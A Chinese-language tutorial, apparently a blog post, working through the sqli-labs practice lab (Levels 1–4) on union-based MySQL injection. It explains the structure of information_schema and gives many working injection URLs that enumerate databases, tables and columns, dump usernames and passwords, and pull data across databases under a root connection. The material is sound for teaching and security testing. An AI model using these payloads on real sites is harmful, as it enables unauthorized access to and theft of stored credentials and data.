1. 程式人生 > 實用技巧 >深入淺出帶你通關sqlilabs(一)

深入淺出帶你通關sqlilabs(一)

一、MySQL資料庫結構分層

1.1庫名,表名,列名,資料庫使用者等

Mysql資料庫結構示例:

資料庫A zblog = www.zblog.com

  表名

    列名(欄位)

      資料

資料庫B dede = www.dede.com

  表名

    列名(欄位)

      資料

PS:

資料庫A及B都屬於Mysql資料庫裡面的

資料庫使用者:管理資料庫的使用者

級別:管理員使用者名稱:root   普通使用者:自定義(就相當於計算機的管理員賬號和普通使用者賬號:可檢視資料許可權不同)

1.2資料庫與WEB應用相結合的架構關係

自帶資料庫:mysql資料庫自帶的(information_schema,test,performance_schema,mysql一個4個表)

用的較多的是information_schema資料庫

比較特殊的是,information_schema資料庫的表名下包含所有使用者建立的資料庫的資料庫名,表名,列名,欄位名等,其結構如下圖

二、MYSQL基本注入流程

1.判斷注入,2.獲取資料庫名,3.表名,列名等

存在注入判斷: and 1=1(正確) and 1=2(錯誤)

資料庫中存在and or xor(且或非)

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

補充:

聯合查詢:order by x union select 1,2,3

information_schema:自帶資料庫 mysql5.0以上版本自帶,

儲存有mysql資料庫下所有資料庫裡面的資料資訊,包括資料庫名,表名,列名等資訊,所以我們根據查詢它獲取指定資料庫下的表名及列名資訊。

table_name: 表名

column_name:列名

table_schema:資料庫名

information_schema.tables:儲存表名資訊的表

information_schema.columns:儲存列名資訊的表

information_schema.schemata:儲存資料庫名資訊的表

mysql中符號“.”代表下一級

如:information_schema.tables:資料庫information_schema下的tables表

三、常用的查詢函式

user() 查詢資料庫使用者

database() 查詢資料庫名

version() 查詢資料庫版本

@@version_compile_os 查詢作業系統

獲取資料庫名:database() 報錯顯示

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,database(),3--+

獲取表名:

獲取資料庫名security下面的表名資訊

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

獲取列名:

獲取資料庫名security下的表名users下面列名資訊

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

獲取資料:

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+

3.1第一關:

提示輸入以數值為引數的id

後面加入?id=1

輸出以上文字,說明有與資料庫互動,輸入?id=2

輸入?id=1',這是字元型注入

原始碼有單引號,也說明了是字元型

出現報錯

這裡為了方便檢視自己輸入的sql語句是帶到資料庫中是怎麼樣的,可以在程式碼中加入

echo "$sql<br>";

重新整理一下頁面

第一對單引號是報錯語句的單引號,第二對是字元型的單引號,第三個是我們加進去的單引號。很明顯,引數id是以字串形式存在的,如果id引數是數值型,則只會出現左邊1個單引號,右邊2個單引號。

所以對於字元型注入,也要用?id=1'的單引號,因為為了輸出我們後面寫的語句,要先把php原始碼中id='$id'的單引號提前閉合掉,才能輸出我們的關鍵語句

然後要進行資料庫列查詢( 因為要用到union select,所以必須查詢列數,即UNION SELECT連線的每個語句必須有相同的欄位數)

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

後面加註釋--+

提示不存在,說明不存在4列,往下數3

查詢正確,說明表有3列

然後用上union聯合查詢,輸入

localhost/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+

沒變化,因為上圖中黃色語句前半部分的select語句,是真,所以直接輸出,而頁面顯示位只有兩個,後面的union語句列數是3,所以是假,則直接不輸出後面語句

要想輸出後面的語句,則要把前面的語句變為假,比如id輸入一個不存在的數,如id=-3,有輸出:

可以看到,2和3的位置可以顯示出來,所以我們可以在2和3的位置插入函式,如

localhost/sqli-labs-master/Less-1/?id=-3' union select 1,version(),database() --+

所以資料庫版本和資料庫名稱就出來了

然後利用group_concat()函式可以一次性把資料庫資訊獲取,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

把資料庫的所有表名列出來了,如果把group函式去掉,就只會查詢出一個表名

接下來把想要查詢的表的列查詢出來,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

輸出:

注意:這裡獲取到的列名有兩個password,是因為我們是從table_name='users'表名獲取到的,而沒有指定是哪個資料庫,另外的資料庫也有可能有users表,所以有重複的列名(查詢是把所有資料庫都遍歷了),避免這種干擾因素可以這樣做:加上限制條件and table_schema=database()就可以了

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+

知道有列有username就可以把列的資料,全部查出來,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(username),3 from users--+

即從users表查詢出全部username,輸出:

如果把password也查出來,也為了美觀,可以把3的位置替換掉,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(username),group_concat(password) from users--+

輸出:

在實際情況中,我們挖洞不能像這樣把所有的username和password一起搞出來,是犯法的,我們只能脫一兩條資料出來證明有這個漏洞就可以了,在語句中要加上limit

limit子句用於限制查詢結果返回的數量。

用法:【select * from tableName limit i,n 】

引數:

  • tableName : 為資料表;

  • i : 為查詢結果的索引值(預設從0開始);

  • n : 為查詢結果返回的數量

如:

http://localhost/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+

四、MYSQL基本注入拓展演示

4.1多種符號干擾

4.1.1第三關:

先看一下原始碼

多了個括號,因為實際情況是開發人員有不同開發習慣,程式碼也不一樣,對於這關,我們可以把括號閉合就可以報錯注入了

http://localhost/sqlilabs/Less-3/?id=-1') order by 4--+

也可以這樣:

?id=-1') union select 1,2,3 and ('1'='1

SELECT * FROM users WHERE id=('id=-1') union select 1,2,3 and ('1'='1') LIMIT 0,  //原始命令

在第三關中,引數那裡單引號外面還有一個括號,加個括號就行:

http://localhost/sqlilabs/Less-3/?id=-3') union select 1,version(),database() --+

4.1.2第四關

在第四關中,引數那裡是雙引號外面還有一個括號

http://localhost/sqlilabs/Less-4/?id=-3") union select 1,version(),database() --+

4.2資料型別問題

4.2.1字元型注入:第一關,已經演示過了
4.2.2數字型注入:第二關,如下原始碼

沒有單引號,所以是數字型

輸入字串不顯示

判斷字元型還是數字型方法:在id引數id=6lk(開頭數字+字串)報錯了,就是數字型注入,因為字元型注入不會報錯,會匹配到開頭數字輸出資料

五、MYSQL注入中的許可權問題

mysql注入中的許可權由資料庫進行連線的使用者決定,誰連線,擁有誰的許可權

第二關中,可以用user()函式進行查詢當前網站使用者

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,user(),3--+

查詢出來是root使用者,危害非常大

5.1普通使用者注入攻擊

只能靠猜資料進行安全測試

5.2ROOT使用者注入攻擊

跨庫注入(旁站攻擊,拿到該旁站root資料庫賬號,去搞到主站資料庫),檔案操作等

5.3跨庫注入(列出所有資料)

獲取所有資料庫名:

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

獲取指定資料庫名dvwa的表名資訊

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa'--+

獲取指定表名users的列名資訊

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='injection'--+

獲取指定資料avatar

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,avatar,3 from dvwa.users